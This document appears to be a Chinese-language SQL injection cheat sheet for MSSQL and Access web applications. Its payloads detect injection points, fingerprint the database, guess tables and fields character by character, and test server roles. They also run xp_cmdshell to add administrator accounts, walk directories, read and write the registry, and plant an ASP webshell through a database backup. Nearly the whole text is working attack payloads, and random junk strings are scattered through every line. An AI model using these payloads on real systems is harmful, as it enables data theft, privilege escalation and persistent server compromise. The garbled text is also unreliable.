1.判断是否有注入;and 1=1 ;and 1=2 wCC-Y kA
2.初步判断是否是mssql ;and user>0 J7_8$B-j7
N:d
D*[QZ
3.注入参数是字符'and [查询条件] and ''=' zQn//7#-G
Ae.]F)w_\
4.搜索时没过滤参数的'and [查询条件] and '%25'=' `P#8(GU
`k!UjO72
5.判断数据库系统 sC9-+}
We|-5
;and (select count(*) from sysobjects)>0 mssql }\U0[x#q
uO6c3|Zjs
;and (select count(*) from msysobjects)>0 access pL%4= ]m
x)d2G6x
|KTpK(6p
nwhm[AaNs
6.猜数据库 ;and (select Count(*) from [数据库名])>0 D)h["z|F
8dlInms
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3/:LYvM<
>d'EInSF
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 qq/_yt
`9:v*KuM#R
9.(1)猜字段的ascii值(access) [q
w
o%$<LaQG5
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 s!NisF
5 =*@l
(2)猜字段的ascii值(mssql) )\(lg*?:
~T;K-9R
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 X4XFu
e
W9)@nVJ
10.测试权限结构(mssql) 9DmSs=A
E*h0#m|)
P"2Q&M_/
.&Y,D-h}7|
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- xcsFODx~
OCvml 2
vP
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- %+D-y+hn
/E;;j9
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- :jl
u
G3oxa/mO
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5c*p2:]
dE+CIjW5
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 9UB??049z
2&suo!ig
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- {_": /A
P*}9,VoY
;and 1=(select IS_MEMBER('db_owner'));-- c9
gz!NE
W<Bxm|
|zK!+fu
lR|$*:+
11.添加mssql和系统的帐户 6JUav."`~
iXt4|0
;exec master.dbo.sp_addlogin username;-- xU#]w6
;exec master.dbo.sp_password null,username,password;-- ;b{pzIe= F
k];L!Fj1
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- i0i.sizu
5?<|3
;exec master.dbo.xp_cmdshell 'net user username password
h4J{j h.
|TC3*Y
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- V]+o)A$
f_^ix
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;bUJ+6f:
2O}s*C$Xav
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- de*,MkZN
|`N$>9qN
N02zPC
8
%ZJ),9+
12.(1)遍历目录 WHZe)|n
Q=)"om
;create table dirs(paths varchar(100), id int) e);bF>.~
K7)j
;insert dirs exec master.dbo.xp_dirtree 'c:\' ,Zf
:R
!"Z."fm*
;and (select top 1 paths from dirs)>0 MoC*tImWR
>u'/$k
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 9_g>BI;"8
dqIZ#;:g
S7@ZtFf
COxZ
Q
(2)遍历目录 @n5;|`)\
*[XN.sb8E
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- xCDA1y;j
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Fh*q]1F
XHwZ+=v
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 HV#?6,U}
9n06n$F
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 P wt ?9I
<k!mdj)
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8=ukS_?Vy
k)<~nc-
b/a?\0^
6E)uu; 8
13.mssql中的存储过程 hY4)W
]6?c8/M
xp_regenumvalues 注册表根键, 子键 [R@q]S/
x= vE&9_u
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ,qBnqi[
PHe~{"|d?
xp_regread 根键,子键,键值名 %XDip]+rb
A>&>6O4
;exec xp_regread Bd N{[2
ZmYa.4'L
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 4iL.4Uj{N
7cOg(6N
xp_regwrite 根键,子键, 值名, 值类型, 值 ^`hI00u(
OuYE-x2]x"
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 %WJ\'@O\
;%b <uV
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 -.+KCt G$+
Y]`lEq%
xp_regdeletevalue 根键,子键,值名 h&:Q$*A>
2V=FWuXC"
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 TnMVHO-
>8F{lbEe
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 E9 80yXJR
`E4!u=%
q7)]cY_
4N%2w(,+8
14.mssql的backup创建webshell Z!s>AgH9u
r(?'Y y
use model e&FX7dsyy
Jnu}{^~
create table cmd(str image); TQbFI;\
`o^;fcnG
insert into cmd(str) values (''); D x>1y
sJjl)Qs)T
backup database model to disk='c:\l.asp'; ECE{xoc
w#gU1yu
=ihoVA:|
8KGv?^M
6W
15.mssql内置函数 O>o}<t7
cfy/*|
;and (select @@version)>0 获得Windows的版本号 Xdp`Z'g
C[87f-g
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Hc_hO
U{za m
;and (select user_name())>0 爆当前系统的连接用户 R"\ub"]
m_PrasZ>
;and (select db_name())>0 得到当前连接的数据库 9L)&n.t1
(x@i,Ba@
^V0{Ew/x
c5mhl;+'
16.简洁的webshell ;'WzfJ!q
4E>/*F!
use model C^8)IN=$
0x9F*i_
create table cmd(str image); B1i!te}*
k1 LtqV
insert into cmd(str) values (''); Y/eN)
)2<B$p
backup database model to disk='g:\wwwtest\l.asp';